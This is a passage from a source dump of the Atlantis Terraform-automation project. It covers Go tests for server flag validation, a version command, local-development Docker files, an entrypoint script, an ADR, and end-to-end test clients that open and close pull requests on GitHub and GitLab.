"**/*.tf", }, "", }, { "invalid exclusion pattern", map[string]any{ AutoplanFileListFlag: "**/*.yml,!", }, "invalid pattern in --autoplan-file-list, **/*.yml,!: illegal exclusion pattern: \"!\"", }, { "invalid pattern", map[string]any{ AutoplanFileListFlag: "[^]", }, "invalid pattern in --autoplan-file-list, [^]: syntax error in pattern", }, } for _, testCase := range cases { t.Log("Should validate autoplan file list when " + testCase.description) c := setupWithDefaults(testCase.flags, t) err := c.Execute() if testCase.expectErr != "" { ErrEquals(t, testCase.expectErr, err) } else { Ok(t, err) } } } func TestExecute_ValidateDefaultTFDistribution(t *testing.T) { cases := []struct { description string flags map[string]any expectErr string }{ { "terraform", map[string]any{ DefaultTFDistributionFlag: "terraform", }, "", }, { "opentofu", map[string]any{ DefaultTFDistributionFlag: "opentofu", }, "", }, { "errs on invalid distribution", map[string]any{ DefaultTFDistributionFlag: "invalid_distribution", }, "invalid tf distribution: expected one of terraform or opentofu", }, } for _, testCase := range cases { t.Log("Should validate default tf distribution when " + testCase.description) c := setupWithDefaults(testCase.flags, t) err := c.Execute() if testCase.expectErr != "" { ErrEquals(t, testCase.expectErr, err) } else { Ok(t, err) } } } func setup(flags map[string]any, t *testing.T) *cobra.Command { vipr := viper.New() for k, v := range flags { vipr.Set(k, v) } c := &ServerCmd{ ServerCreator: &ServerCreatorMock{}, Viper: vipr, SilenceOutput: true, Logger: logging.NewNoopLogger(t), } return c.Init() } func setupWithDefaults(flags map[string]any, t *testing.T) *cobra.Command { vipr := viper.New() flags[GHUserFlag] = "user" flags[GHTokenFlag] = "token" flags[RepoAllowlistFlag] = "*" for k, v := range flags { vipr.Set(k, v) } c := &ServerCmd{ ServerCreator: &ServerCreatorMock{}, Viper: vipr, SilenceOutput: true, Logger: logging.NewNoopLogger(t), } return c.Init() } func tempFile(t *testing.T, contents string) string { f, err := os.CreateTemp("", "") Ok(t, err) newName := f.Name() + ".yaml" err = os.Rename(f.Name(), newName) Ok(t, err) os.WriteFile(newName, []byte(contents), 0600) // nolint: errcheck return newName } func configVal(t *testing.T, u server.UserConfig, tag string) any { t.Helper() v := reflect.ValueOf(u) typeOfS := v.Type() for i := 0; i < v.NumField(); i++ { if typeOfS.Field(i).Tag.Get("mapstructure") == tag { return v.Field(i).Interface() } } t.Fatalf("no field with tag %q found", tag) return nil } // Gitea base URL must have a scheme. func TestExecute_GiteaBaseURLScheme(t *testing.T) { c := setup(map[string]any{ GiteaUserFlag: "user", GiteaTokenFlag: "token", RepoAllowlistFlag: "*", GiteaBaseURLFlag: "mydomain.com", }, t) ErrEquals(t, "--gitea-base-url must have http:// or https://, got \"mydomain.com\"", c.Execute()) c = setup(map[string]any{ GiteaUserFlag: "user", GiteaTokenFlag: "token", RepoAllowlistFlag: "*", GiteaBaseURLFlag: "://mydomain.com", }, t) ErrEquals(t, "error parsing --gitea-webhook-secret flag value \"://mydomain.com\": parse \"://mydomain.com\": missing protocol scheme", c.Execute()) } func TestExecute_GiteaWithWebhookSecret(t *testing.T) { c := setup(map[string]any{ GiteaUserFlag: "user", GiteaTokenFlag: "token", RepoAllowlistFlag: "*", GiteaWebhookSecretFlag: "my secret", }, t) err := c.Execute() Ok(t, err) } // Port should be retained on base url. func TestExecute_GiteaBaseURLPort(t *testing.T) { c := setup(map[string]any{ GiteaUserFlag: "user", GiteaTokenFlag: "token", RepoAllowlistFlag: "*", GiteaBaseURLFlag: "http://mydomain.com:7990", }, t) Ok(t, c.Execute()) Equals(t, "http://mydomain.com:7990", passedConfig.GiteaBaseURL) } ================================================ FILE: cmd/version.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package cmd import ( "fmt" "github.com/spf13/cobra" ) // VersionCmd prints the current version. type VersionCmd struct { AtlantisVersion string } // Init returns the runnable cobra command. func (v *VersionCmd) Init() *cobra.Command { return &cobra.Command{ Use: "version", Short: "Print the current Atlantis version", Run: func(_ *cobra.Command, _ []string) { fmt.Printf("atlantis %s\n", v.AtlantisVersion) }, } } ================================================ FILE: docker-compose.yml ================================================ # Note: This file is only used for Atlantis local development services: ngrok: image: ngrok/ngrok:latest@sha256:de80ead6e060dc3b12ce8c6af51accd545d377054604b6c4603006ae71a62396 ports: - 4040:4040 command: - "http" - "atlantis:4141" env_file: - atlantis.env depends_on: - atlantis redis: image: redis:8.6-alpine@sha256:2afba59292f25f5d1af200496db41bea2c6c816b059f57ae74703a50a03a27d0 restart: always ports: - 6379:6379 command: redis-server --save 20 1 --loglevel warning --requirepass test123 volumes: - redis:/data atlantis: depends_on: - redis build: context: . dockerfile: Dockerfile.dev ports: - 4141:4141 volumes: - ${HOME}/.ssh:/.ssh:ro - ${PWD}:/atlantis/src:ro # Contains the flags that atlantis uses in env var form env_file: - atlantis.env volumes: redis: driver: local ================================================ FILE: docker-entrypoint.sh ================================================ #!/usr/bin/env -S dumb-init --single-child /bin/sh # dumb-init is run in single child mode. By default dumb-init will forward # interrupts to all child processes, causing Terraform to cancel and Terraform # providers to exit uncleanly. We forward the signal to Atlantis only, allowing # it to trap the interrupt, and exit gracefully. set -e # Modified: https://github.com/hashicorp/docker-consul/blob/2c2873f9d619220d1eef0bc46ec78443f55a10b5/0.X/docker-entrypoint.sh # If the user is trying to run atlantis directly with some arguments, then # pass them to atlantis. if [ "$(echo "${1}" | cut -c1)" = "-" ]; then set -- atlantis "$@" fi # If the user is running an atlantis subcommand (ex. server) then we want to prepend # atlantis as the first arg to exec. To detect if they're running a subcommand # we take the potential subcommand and run it through atlantis help {subcommand}. # If the output contains "atlantis subcommand" then we know it's a subcommand # since the help output contains that string. For anything else (ex. sh) # it won't contain that string. # NOTE: We use grep instead of the exit code since help always returns 0. if atlantis help "$1" 2>&1 | grep -q "atlantis $1"; then # We can't use the return code to check for the existence of a subcommand, so # we have to use grep to look for a pattern in the help output. set -- atlantis "$@" fi # If the current uid running does not have a user create one in /etc/passwd if ! whoami > /dev/null 2>&1; then if [ -w /etc/passwd ]; then echo "${USER_NAME:-default}:x:$(id -u):0:${USER_NAME:-default} user:/home/atlantis:/sbin/nologin" >> /etc/passwd fi fi # If we need to install some tools at entrypoint level, we can add shell scripts # in folder /docker-entrypoint.d/ with extension .sh and this scripts will be executed # at entrypount level. if /usr/bin/find "/docker-entrypoint.d/" -mindepth 1 -maxdepth 1 -type f -print -quit 2>/dev/null | read v; then echo "/docker-entrypoint.d/ is not empty, will attempt to perform script execition" echo "Looking for shell scripts in /docker-entrypoint.d/" find "/docker-entrypoint.d/" -follow -type f -print | sort -V | while read -r f; do case "$f" in *.sh) if [ -x "$f" ]; then echo "Launching $f"; "$f" else # warn on shell scripts without exec bit echo "Ignoring $f, not executable"; fi ;; *) echo "Ignoring $f";; esac done echo "Configuration complete; ready for start up" else echo "No files found in /docker-entrypoint.d/, skipping" fi exec "$@" ================================================ FILE: docs/adr/0001-record-architecture-decisions.md ================================================ # 1. Record architecture decisions Date: 2023-05-09 ## Status Accepted ## Context We need to record the architectural decisions made for Atlantis. The project is a very decentralized project. It suffers from frequent one-timer contributors and an ever-changing team of maintainers. By utilizing the ADR process, we can improve who decisions are made and bring transparency to past decisions to assist future contributors and maintainers to confidently steer the project. ## Decision We will use Architecture Decision Records, as [described by Michael Nygard](http://thinkrelevance.com/blog/2011/11/15/documenting-architecture-decisions). ## Consequences See Michael Nygard's article, linked above. For a lightweight ADR toolset, see Nat Pryce's [adr-tools](https://github.com/npryce/adr-tools) before submitting a new ADR. ================================================ FILE: e2e/.gitignore ================================================ atlantis-tests ================================================ FILE: e2e/Makefile ================================================ WORKSPACE := $(shell pwd) .PHONY: test .DEFAULT_GOAL := help help: ## List targets & descriptions @cat Makefile* | grep -E '^[a-zA-Z_-]+:.*?## .*$$' | sort | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-30s\033[0m %s\n", $$1, $$2}' debug: ## Output internal make variables @echo WORKSPACE = $(WORKSPACE) build: ## Build the main Go service rm -f atlantis-tests go build -v -o atlantis-tests . run: ## Run e2e tests ./atlantis-tests ================================================ FILE: e2e/README.md ================================================ # End to end tests Tests run against actual repos in various VCS providers ## Configuration ### Gitlab User: https://gitlab.com/atlantis-tests Email: maintainers@runatlantis.io To rotate token: 1. Login to account 2. Select avatar -> Edit Profile -> Access tokens -> Add new token 3. Create a new token, and upload it to Github Action as environment secret `ATLANTIS_GITLAB_TOKEN`. ================================================ FILE: e2e/e2e.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package main import ( "context" "fmt" "log" "os" "os/exec" "time" ) type E2ETester struct { vcsClient VCSClient hookID int64 cloneDirRoot string projectType Project } type E2EResult struct { projectType string pullRequestURL string testResult string } var testFileData = ` resource "null_resource" "hello" { } ` // nolint: gosec func (t *E2ETester) Start(ctx context.Context) (*E2EResult, error) { cloneDir := fmt.Sprintf("%s/%s-test", t.cloneDirRoot, t.projectType.Name) branchName := fmt.Sprintf("%s-%s", t.projectType.Name, time.Now().Format("20060102150405")) testFileName := fmt.Sprintf("%s.tf", t.projectType.Name) e2eResult := &E2EResult{} e2eResult.projectType = t.projectType.Name // create the directory and parents if necessary log.Printf("creating dir %q", cloneDir) if err := os.MkdirAll(cloneDir, 0700); err != nil { return e2eResult, fmt.Errorf("failed to create dir %q prior to cloning, attempting to continue: %v", cloneDir, err) } err := t.vcsClient.Clone(cloneDir) if err != nil { return e2eResult, err } // checkout a new branch for the project log.Printf("checking out branch %q", branchName) checkoutCmd := exec.Command("git", "checkout", "-b", branchName) checkoutCmd.Dir = cloneDir if output, err := checkoutCmd.CombinedOutput(); err != nil { return e2eResult, fmt.Errorf("failed to git checkout branch %q: %v: %s", branchName, err, string(output)) } // write a file for running the tests randomData := []byte(testFileData) filePath := fmt.Sprintf("%s/%s/%s", cloneDir, t.projectType.Name, testFileName) log.Printf("creating file to commit %q", filePath) err = os.WriteFile(filePath, randomData, 0644) if err != nil { return e2eResult, fmt.Errorf("couldn't write file %s: %v", filePath, err) } // add the file log.Printf("git add file %q", filePath) addCmd := exec.Command("git", "add", filePath) addCmd.Dir = cloneDir if output, err := addCmd.CombinedOutput(); err != nil { return e2eResult, fmt.Errorf("failed to git add file %q: %v: %s", filePath, err, string(output)) } // commit the file log.Printf("git commit file %q", filePath) commitCmd := exec.Command("git", "commit", "-am", "test commit") commitCmd.Dir = cloneDir if output, err := commitCmd.CombinedOutput(); err != nil { return e2eResult, fmt.Errorf("failed to run git commit in %q: %v: %v", cloneDir, err, string(output)) } // push the branch to remote log.Printf("git push branch %q", branchName) pushCmd := exec.Command("git", "push", "origin", branchName) pushCmd.Dir = cloneDir if output, err := pushCmd.CombinedOutput(); err != nil { return e2eResult, fmt.Errorf("failed to git push branch %q: %v: %s", branchName, err, string(output)) } // create a new pr title := fmt.Sprintf("This is a test pull request for atlantis e2e test for %s project type", t.projectType.Name) url, pullId, err := t.vcsClient.CreatePullRequest(ctx, title, branchName) if err != nil { return e2eResult, err } // set pull request url e2eResult.pullRequestURL = url log.Printf("created pull request %s", url) // defer closing pull request and delete remote branch defer func() { err := cleanUp(ctx, t, pullId, branchName) if err != nil { log.Printf("Failed to cleanup: %v", err) } }() // wait for atlantis to respond to webhook and autoplan. time.Sleep(2 * time.Second) state := "not started" // waiting for atlantis run and finish maxLoops := 20 i := 0 for ; i < maxLoops && t.vcsClient.IsAtlantisInProgress(state); i++ { time.Sleep(2 * time.Second) state, _ = t.vcsClient.GetAtlantisStatus(ctx, branchName) if state == "" { log.Println("atlantis run hasn't started") continue } log.Printf("atlantis run is in %s state", state) } if i == maxLoops { state = "timed out" } log.Printf("atlantis run finished with status %q", state) e2eResult.testResult = state // check if atlantis run was a success if !t.vcsClient.DidAtlantisSucceed(state) { return e2eResult, fmt.Errorf("atlantis run project type %q failed with %q status", t.projectType.Name, state) } return e2eResult, nil } func cleanUp(ctx context.Context, t *E2ETester, pullRequestNumber int, branchName string) error { // clean up err := t.vcsClient.ClosePullRequest(ctx, pullRequestNumber) if err != nil { return err } log.Printf("closed pull request %d", pullRequestNumber) err = t.vcsClient.DeleteBranch(ctx, branchName) if err != nil { return fmt.Errorf("error while deleting branch %s: %v", branchName, err) } log.Printf("deleted branch %s", branchName) return nil } ================================================ FILE: e2e/github.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package main import ( "context" "fmt" "log" "os" "os/exec" "strings" "github.com/google/go-github/v83/github" ) type GithubClient struct { client *github.Client username string ownerName string repoName string token string } func NewGithubClient() *GithubClient { githubUsername := os.Getenv("ATLANTIS_GH_USER") if githubUsername == "" { log.Fatalf("ATLANTIS_GH_USER cannot be empty") } githubToken := os.Getenv("ATLANTIS_GH_TOKEN") if githubToken == "" { log.Fatalf("ATLANTIS_GH_TOKEN cannot be empty") } ownerName := os.Getenv("GITHUB_REPO_OWNER_NAME") if ownerName == "" { ownerName = "runatlantis" } repoName := os.Getenv("GITHUB_REPO_NAME") if repoName == "" { repoName = "atlantis-tests" } // create github client tp := github.BasicAuthTransport{ Username: strings.TrimSpace(githubUsername), Password: strings.TrimSpace(githubToken), } ghClient := github.NewClient(tp.Client()) return &GithubClient{ client: ghClient, username: githubUsername, ownerName: ownerName, repoName: repoName, token: githubToken, } } func (g GithubClient) Clone(cloneDir string) error { repoURL := fmt.Sprintf("https://%s:%s@github.com/%s/%s.git", g.username, g.token, g.ownerName, g.repoName) cloneCmd := exec.Command("git", "clone", repoURL, cloneDir) // git clone the repo log.Printf("git cloning into %q", cloneDir) if output, err := cloneCmd.CombinedOutput(); err != nil { return fmt.Errorf("failed to clone repository: %v: %s", err, string(output)) } return nil } func (g GithubClient) CreateAtlantisWebhook(ctx context.Context, hookURL string) (int64, error) { contentType := "json" hookConfig := &github.HookConfig{ ContentType: &contentType, URL: &hookURL, } // create atlantis hook atlantisHook := &github.Hook{ Events: []string{"issue_comment", "pull_request", "push"}, Config: hookConfig, Active: github.Ptr(true), } hook, _, err := g.client.Repositories.CreateHook(ctx, g.ownerName, g.repoName, atlantisHook) if err != nil { return 0, err } log.Println(hook.GetURL()) return hook.GetID(), nil } func (g GithubClient) DeleteAtlantisHook(ctx context.Context, hookID int64) error { _, err := g.client.Repositories.DeleteHook(ctx, g.ownerName, g.repoName, hookID) if err != nil { return err } log.Printf("deleted webhook id %d", hookID) return nil } func (g GithubClient) CreatePullRequest(ctx context.Context, title, branchName string) (string, int, error) { head := fmt.Sprintf("%s:%s", g.ownerName, branchName) body := "" base := "main" newPullRequest := &github.NewPullRequest{Title: &title, Head: &head, Body: &body, Base: &base} pull, _, err := g.client.PullRequests.Create(ctx, g.ownerName, g.repoName, newPullRequest) if err != nil { return "", 0, fmt.Errorf("error while creating new pull request: %v", err) } // set pull request url return pull.GetHTMLURL(), pull.GetNumber(), nil } func (g GithubClient) GetAtlantisStatus(ctx context.Context, branchName string) (string, error) { // check repo status combinedStatus, _, err := g.client.Repositories.GetCombinedStatus(ctx, g.ownerName, g.repoName, branchName, nil) if err != nil { return "", err } for _, status := range combinedStatus.Statuses { if status.GetContext() == "atlantis/plan" { return status.GetState(), nil } } return "", nil } func (g GithubClient) ClosePullRequest(ctx context.Context, pullRequestNumber int) error { // clean up _, _, err := g.client.PullRequests.Edit(ctx, g.ownerName, g.repoName, pullRequestNumber, &github.PullRequest{State: github.Ptr("closed")}) if err != nil { return fmt.Errorf("error while closing new pull request: %v", err) } return nil } func (g GithubClient) DeleteBranch(ctx context.Context, branchName string) error { deleteBranchName := fmt.Sprintf("%s/%s", "heads", branchName) _, err := g.client.Git.DeleteRef(ctx, g.ownerName, g.repoName, deleteBranchName) if err != nil { return fmt.Errorf("error while deleting branch %s: %v", branchName, err) } return nil } func (g GithubClient) IsAtlantisInProgress(state string) bool { for _, s := range []string{"success", "error", "failure"} { if state == s { return false } } return true } func (g GithubClient) DidAtlantisSucceed(state string) bool { return state == "success" } ================================================ FILE: e2e/gitlab.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package main import ( "context" "fmt" "log" "os" "os/exec" gitlab "gitlab.com/gitlab-org/api/client-go" ) type GitlabClient struct { client *gitlab.Client username string ownerName string repoName string token string projectId int // A mapping from branch names to MR IDs branchToMR map[string]int } func NewGitlabClient() *GitlabClient { gitlabUsername := os.Getenv("ATLANTIS_GITLAB_USER") if gitlabUsername == "" { log.Fatalf("ATLANTIS_GITLAB_USER cannot be empty") } gitlabToken := os.Getenv("ATLANTIS_GITLAB_TOKEN") if gitlabToken == "" { log.Fatalf("ATLANTIS_GITLAB_TOKEN cannot be empty") } ownerName := os.Getenv("GITLAB_REPO_OWNER_NAME") if ownerName == "" { ownerName = "runatlantis" } repoName := os.Getenv("GITLAB_REPO_NAME") if repoName == "" { repoName = "atlantis-tests" } gitlabClient, err := gitlab.NewClient(gitlabToken) if err != nil { log.Fatalf("Failed to create client: %v", err) } project, _, err := gitlabClient.Projects.GetProject(fmt.Sprintf("%s/%s", ownerName, repoName), &gitlab.GetProjectOptions{}) if err != nil { log.Fatalf("Failed to find project: %v", err) } return &GitlabClient{ client: gitlabClient, username: gitlabUsername, ownerName: ownerName, repoName: repoName, token: gitlabToken, projectId: project.ID, branchToMR: make(map[string]int), } } func (g GitlabClient) Clone(cloneDir string) error { repoURL := fmt.Sprintf("https://%s:%s@gitlab.com/%s/%s.git", g.username, g.token, g.ownerName, g.repoName) cloneCmd := exec.Command("git", "clone", repoURL, cloneDir) // git clone the repo log.Printf("git cloning into %q", cloneDir) if output, err := cloneCmd.CombinedOutput(); err != nil { return fmt.Errorf("failed to clone repository: %v: %s", err, string(output)) } return nil } func (g GitlabClient) CreateAtlantisWebhook(ctx context.Context, hookURL string) (int64, error) { hook, _, err := g.client.Projects.AddProjectHook(g.projectId, &gitlab.AddProjectHookOptions{ URL: &hookURL, IssuesEvents: gitlab.Ptr(true), MergeRequestsEvents: gitlab.Ptr(true), PushEvents: gitlab.Ptr(true), }) if err != nil { return 0, err } log.Printf("created webhook for %s", hook.URL) return int64(hook.ID), err } func (g GitlabClient) DeleteAtlantisHook(ctx context.Context, hookID int64) error { _, err := g.client.Projects.DeleteProjectHook(g.projectId, int(hookID)) if err != nil { return err } log.Printf("deleted webhook id %d", hookID) return nil } func (g GitlabClient) CreatePullRequest(ctx context.Context, title, branchName string) (string, int, error) { mr, _, err := g.client.MergeRequests.CreateMergeRequest(g.projectId, &gitlab.CreateMergeRequestOptions{ Title: gitlab.Ptr(title), SourceBranch: gitlab.Ptr(branchName), TargetBranch: gitlab.Ptr("main"), }) if err != nil { return "", 0, fmt.Errorf("error while creating new pull request: %v", err) } g.branchToMR[branchName] = mr.IID return mr.WebURL, mr.IID, nil } func (g GitlabClient) GetAtlantisStatus(ctx context.Context, branchName string) (string, error) { pipelineInfos, _, err := g.client.MergeRequests.ListMergeRequestPipelines(g.projectId, g.branchToMR[branchName]) if err != nil { return "", err } // Possible todo: determine which status in the pipeline we care about? if len(pipelineInfos) != 1 { return "", fmt.Errorf("unexpected pipelines: %d", len(pipelineInfos)) } pipelineInfo := pipelineInfos[0] pipeline, _, err := g.client.Pipelines.GetPipeline(g.projectId, pipelineInfo.ID) if err != nil { return "", err } return pipeline.Status, nil } func (g GitlabClient) ClosePullRequest(ctx context.Context, pullRequestNumber int) error { // clean up _, _, err := g.client.MergeRequests.UpdateMergeRequest(g.projectId, pullRequestNumber, &gitlab.UpdateMergeRequestOptions{ StateEvent: gitlab.Ptr("close"), }) if err != nil { return fmt.Errorf("error while closing new pull request: %v", err) } return nil } func (g GitlabClient) DeleteBranch(ctx context.Context, branchName string) error { _, err := g.client.Branches.DeleteBranch(g.projectId, branchName) if err != nil { return fmt.Errorf("error while deleting branch %s: %v", branchName, err) } return nil } func (g GitlabClient) IsAtlantisInProgress(state string) bool { // From https://docs.gitlab.com/api/pipelines/ // created, waiting_for_resource, preparing, pending, running, success, failed, canceled, skipped, manual, scheduled for _, s := range []string{"success", "failed", "canceled", "skipped"} { if state == s { return false } } return true } func (g GitlabClient) DidAtlantisSucceed(state string) bool { return state == "success" } ================================================ FILE: e2e/go.mod ================================================ module github.com/runatlantis/atlantis/e2e go 1.25.4 require ( github.com/google/go-github/v83 v83.0.0 github.com/hashicorp/go-multierror v1.1.1 gitlab.com/gitlab-org/api/client-go v0.118.0 ) require ( github.com/google/go-querystring v1.2.0 // indirect github.com/hashicorp/errwrap v1.1.0 // indirect github.com/hashicorp/go-cleanhttp v0.5.2 // indirect github.com/hashicorp/go-retryablehttp v0.7.7 // indirect golang.org/x/oauth2 v0.27.0 // indirect golang.org/x/sys v0.28.0 // indirect golang.org/x/time v0.3.0 // indirect ) ================================================ FILE: e2e/go.sum ================================================ github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/fatih/color v1.16.0 h1:zmkK9Ngbjj+K0yRhTVONQh1p/HknKYSlNT+vZCzyokM= github.com/fatih/color v1.16.0/go.mod h1:fL2Sau1YI5c0pdGEVCbKQbLXB6edEj1ZgiY4NijnWvE= github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= github.com/google/go-github/v83 v83.0.0 h1:Ydy4gAfqxrnFUwXAuKl/OMhhGa0KtMtnJ3EozIIuHT0= github.com/google/go-github/v83 v83.0.0/go.mod h1:gbqarhK37mpSu8Xy7sz21ITtznvzouyHSAajSaYCHe8= github.com/google/go-querystring v1.2.0 h1:yhqkPbu2/OH+V9BfpCVPZkNmUXhb2gBxJArfhIxNtP0= github.com/google/go-querystring v1.2.0/go.mod h1:8IFJqpSRITyJ8QhQ13bmbeMBDfmeEJZD5A0egEOmkqU= github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= github.com/hashicorp/errwrap v1.1.0 h1:OxrOeh75EUXMY8TBjag2fzXGZ40LB6IKw45YeGUDY2I= github.com/hashicorp/errwrap v1.1.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= github.com/hashicorp/go-cleanhttp v0.5.2 h1:035FKYIWjmULyFRBKPs8TBQoi0x6d9G4xc9neXJWAZQ= github.com/hashicorp/go-cleanhttp v0.5.2/go.mod h1:kO/YDlP8L1346E6Sodw+PrpBSV4/SoxCXGY6BqNFT48= github.com/hashicorp/go-hclog v1.6.3 h1:Qr2kF+eVWjTiYmU7Y31tYlP1h0q/X3Nl3tPGdaB11/k= github.com/hashicorp/go-hclog v1.6.3/go.mod h1:W4Qnvbt70Wk/zYJryRzDRU/4r0kIg0PVHBcfoyhpF5M= github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo= github.com/hashicorp/go-multierror v1.1.1/go.mod h1:iw975J/qwKPdAO1clOe2L8331t/9/fmwbPZ6JB6eMoM= github.com/hashicorp/go-retryablehttp v0.7.7 h1:C8hUCYzor8PIfXHa4UrZkU4VvK8o9ISHxT2Q8+VepXU= github.com/hashicorp/go-retryablehttp v0.7.7/go.mod h1:pkQpWZeYWskR+D1tR2O5OcBFOxfA7DoAO6xtkuQnHTk= github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA= github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= gitlab.com/gitlab-org/api/client-go v0.118.0 h1:qHIEw+XHt+2xuk4iZGW8fc6t+gTLAGEmTA5Bzp/brxs= gitlab.com/gitlab-org/api/client-go v0.118.0/go.mod h1:E+X2dndIYDuUfKVP0C3jhkWvTSE00BkLbCsXTY3edDo= golang.org/x/oauth2 v0.27.0 h1:da9Vo7/tDv5RH/7nZDz1eMGS/q1Vv1N/7FCrBhI9I3M= golang.org/x/oauth2 v0.27.0/go.mod h1:onh5ek6nERTohokkhCD/y2cV4Do3fxFHFuAejCkRWT8= golang.org/x/sys v0.28.0 h1:Fksou7UEQUWlKvIdsqzJmUmCX3cZuD2+P3XyyzwMhlA= golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/time v0.3.0 h1:rg5rLMjNzMS1RkNLzCG38eapWhnYLFYXDXj2gOlr8j4= golang.org/x/time v0.3.0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= ================================================ FILE: e2e/main.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package main import ( "context" "errors" "log" "os" "fmt" multierror "github.com/hashicorp/go-multierror" ) var defaultAtlantisURL = "http://localhost:4141" var projectTypes = []Project{ {"standalone", "atlantis apply -d standalone"}, {"standalone-with-workspace", "atlantis apply -d standalone-with-workspace -w staging"}, } type Project struct { Name string ApplyCommand string } func getVCSClient() (VCSClient, error) { if os.Getenv("ATLANTIS_GH_USER") != "" { log.Print("Running tests for github") return NewGithubClient(), nil } if os.Getenv("ATLANTIS_GITLAB_USER") != "" { log.Print("Running tests for gitlab") return NewGitlabClient(), nil } return nil, errors.New("could not determine which vcs client") } func main() { atlantisURL := os.Getenv("ATLANTIS_URL") if atlantisURL == "" { atlantisURL = defaultAtlantisURL } // add /events to the url atlantisURL = fmt.Sprintf("%s/events", atlantisURL) cloneDirRoot := os.Getenv("CLONE_DIR") if cloneDirRoot == "" { cloneDirRoot = "/tmp/atlantis-tests" } // clean workspace log.Printf("cleaning workspace %s", cloneDirRoot) err := cleanDir(cloneDirRoot) if err != nil { log.Fatalf("failed to clean dir %q before cloning, attempting to continue: %v", cloneDirRoot, err) } vcsClient, err := getVCSClient() if err != nil { log.Fatalf("failed to get vcs client: %v", err) } ctx := context.Background() // we create atlantis hook once for the repo, since the atlantis server can handle multiple requests log.Printf("creating atlantis webhook with %s url", atlantisURL) hookID, err := vcsClient.CreateAtlantisWebhook(ctx, atlantisURL) if err != nil { log.Fatalf("error creating atlantis webhook: %v", err) } // create e2e test e2e := E2ETester{ vcsClient: vcsClient, hookID: hookID, cloneDirRoot: cloneDirRoot, } // start e2e tests results, err := startTests(ctx, e2e) log.Printf("Test Results\n---------------------------\n") for _, result := range results { fmt.Printf("Project Type: %s \n", result.projectType) fmt.Printf("Pull 